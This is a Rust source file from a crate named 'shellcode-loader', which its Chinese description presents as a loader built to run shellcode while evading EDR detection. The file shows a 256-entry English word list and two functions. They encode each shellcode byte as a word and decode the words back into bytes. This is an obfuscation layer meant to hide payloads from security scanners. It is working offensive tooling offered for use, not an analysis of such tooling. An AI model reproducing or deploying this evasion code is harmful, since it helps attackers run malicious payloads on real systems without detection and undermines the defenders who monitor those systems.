shellcode-loader 1.0.1

shellcode加载器,通过多种方式加载shellcode并对抗EDR检测
// Creator: https://github.com/fdx-xdf

const DATASET: &[&str; 256] = &[
    "ironside",
    "chyliferous",
    "obediential",
    "brasil",
    "antalgics",
    "predisregard",
    "hennery",
    "lobellated",
    "bordelaise",
    "methylpentose",
    "maws",
    "chapacura",
    "gowns",
    "byron",
    "purport",
    "puritans",
    "fandangos",
    "crioceris",
    "dystonia",
    "intoxicator",
    "ascii",
    "nobling",
    "canoe",
    "paleomammologist",
    "nonalgebraical",
    "althorns",
    "enteralgia",
    "latimeria",
    "cannalling",
    "modular",
    "malleableize",
    "rassled",
    "imaginer",
    "pholcus",
    "negligency",
    "paintpot",
    "onomatope",
    "complementaries",
    "mandom",
    "outforth",
    "dyscrased",
    "missuade",
    "punctate",
    "radiating",
    "lengthens",
    "preconfession",
    "galvanomagnetic",
    "marrams",
    "compatibly",
    "eastlings",
    "ambier",
    "liquifying",
    "hontish",
    "entomion",
    "lepta",
    "befiddle",
    "clammyweed",
    "numerologists",
    "flatways",
    "powwowism",
    "juristical",
    "lontar",
    "centrals",
    "patroness",
    "co",
    "pleater",
    "overoptimist",
    "overreacted",
    "milliluxes",
    "isazoxy",
    "adonidin",
    "hinger",
    "despecification",
    "katakinetic",
    "dynamometric",
    "overgracious",
    "quartering",
    "allotting",
    "prereadiness",
    "overkick",
    "boma",
    "floorthrough",
    "mudland",
    "mimine",
    "katakinetomer",
    "nonliberal",
    "lignaloes",
    "hyperlogicalness",
    "entelechial",
    "posticous",
    "acicularity",
    "lagopode",
    "nontyphoidal",
    "llanberisslate",
    "loculose",
    "heterostatic",
    "yowt",
    "preadherence",
    "moravid",
    "keacorn",
    "protosphargis",
    "aurine",
    "incursions",
    "garfield",
    "mgr",
    "kilometre",
    "plastically",
    "physiotherapeutic",
    "andrewartha",
    "picine",
    "polytrichous",
    "limbmeal",
    "oxidable",
    "overfilter",
    "divisi",
    "cafuso",
    "asonant",
    "frumentaceous",
    "neurovisceral",
    "individuating",
    "enticeful",
    "coppaelite",
    "conformator",
    "gonophore",
    "lakie",
    "cerotic",
    "arracks",
    "expenditures",
    "rebellow",
    "myelomalacia",
    "belvedere",
    "plunger",
    "microporphyritic",
    "popularized",
    "priestless",
    "electropotential",
    "mistic",
    "lupines",
    "adroitly",
    "miasmas",
    "purpurize",
    "hipflask",
    "hakea",
    "fonnish",
    "growable",
    "pentaerythrite",
    "anapaganize",
    "metregram",
    "evidential",
    "onotogenic",
    "marque",
    "baled",
    "geometrid",
    "moule",
    "bugweed",
    "caretakers",
    "nonabstention",
    "yuletide",
    "photosynthetically",
    "collegiums",
    "ninepence",
    "gableended",
    "advisees",
    "axon",
    "overfemininely",
    "madrid",
    "chemotherapeuticness",
    "piloti",
    "dabba",
    "nonsolids",
    "laevorotation",
    "filarian",
    "recalcitrance",
    "psittacomorphic",
    "mournfullest",
    "pseudoankylosis",
    "abaser",
    "heartiness",
    "levigating",
    "labourism",
    "dizzied",
    "quernstone",
    "amphibia",
    "quinhydrone",
    "hookcheck",
    "combflower",
    "ecphorize",
    "madded",
    "yerb",
    "capitative",
    "onless",
    "picturers",
    "calina",
    "macrocosm",
    "codpitchings",
    "photojournalist",
    "frondigerous",
    "grassman",
    "polytope",
    "jingodom",
    "quinoidin",
    "pompiloid",
    "delicacies",
    "radiocalcium",
    "pimplous",
    "expressionable",
    "morphrey",
    "outstatistic",
    "musterer",
    "glebous",
    "ozonospheric",
    "phylloid",
    "ferngale",
    "promisees",
    "organicismal",
    "pneumatophoric",
    "brinded",
    "clouters",
    "micrurus",
    "computernik",
    "mermaid",
    "mitigates",
    "ombudsman",
    "hatchway",
    "broadsword",
    "decontaminations",
    "doctrinality",
    "forspread",
    "hypersubtlety",
    "naevus",
    "consortial",
    "cherogril",
    "fungify",
    "hood",
    "pimpleback",
    "joual",
    "prejudicator",
    "coleophora",
    "architecture",
    "conchies",
    "benzeneazobenzene",
    "numerously",
    "posadaship",
    "microweber",
    "padshahs",
    "cotyliform",
    "yirth",
    "nondiplomacy",
    "priori",
    "levitant",
    "eurypelma",
    "discrowned",
    "nasitis",
    "antelabium",
    "obtainably",
    "penlike",
];

/// 混淆函数:返回单词字符串数组
pub(crate) fn obfuscate_words(shellcode: &mut Vec<u8>) -> Vec<String> {
    let mut result = Vec::new();
    for byte in shellcode.iter() {
        let word = DATASET[*byte as usize];
        result.push(word.to_string());
    }
    result
}

/// 解混淆函数:返回字节数组
pub(crate) fn deobfuscate_words(words: Vec<&str>) -> Result<Vec<u8>, Box<dyn std::error::Error>> {
    let mut shellcode = vec![0u8; words.len()];

    for (sc_index, word) in words.iter().enumerate() {
        match DATASET.iter().position(|&w| w == *word) {
            Some(pos) => shellcode[sc_index] = pos as u8,
            None => return Err(format!("Word '{}' not found in DATASET", word).into()),
        }
    }

    Ok(shellcode)
}